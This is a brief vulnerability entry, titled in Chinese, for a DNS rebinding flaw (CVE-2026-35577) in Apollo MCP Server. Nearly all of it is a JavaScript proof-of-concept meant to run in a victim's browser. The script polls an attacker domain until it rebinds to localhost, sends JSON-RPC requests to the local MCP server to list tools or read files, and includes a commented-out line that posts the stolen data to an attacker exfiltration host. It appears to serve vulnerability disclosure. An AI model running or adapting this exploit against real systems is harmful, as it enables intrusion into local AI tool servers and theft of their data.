CVE-2026-35577 Apollo MCP Server DNS重绑定漏洞

/* * Conceptual PoC for DNS Rebinding against Apollo MCP Server * This script runs in the victim's browser context. */ async function attackLocalMCP() { // The domain 'attacker.com' is controlled by the attacker and performs DNS rebinding. // Initially resolves to attacker's IP, then rebinding to 127.0.0.1. const targetUrl = 'http://attacker.com/mcp/stream'; // Example payload to list available tools or read files const maliciousPayload = { jsonrpc: "2.0", id: 1, method: "tools/list", params: {} }; try { // Attempt to send request to the local server via the rebinding domain const response = await fetch(targetUrl, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(maliciousPayload) }); if (response.ok) { const data = await response.json(); console.log("[+] Exploit Successful! Data:", data); // Exfiltrate data to attacker's server // fetch('https://attacker-exfil.com/steal', { method: 'POST', body: JSON.stringify(data) }); } else { console.log("[-] Request failed, waiting for DNS rebind..."); } } catch (error) { console.log("[-] Error (likely due to SOP not bypassed yet):", error); } } // Polling to wait for DNS rebinding to occur setInterval(attackLocalMCP, 3000);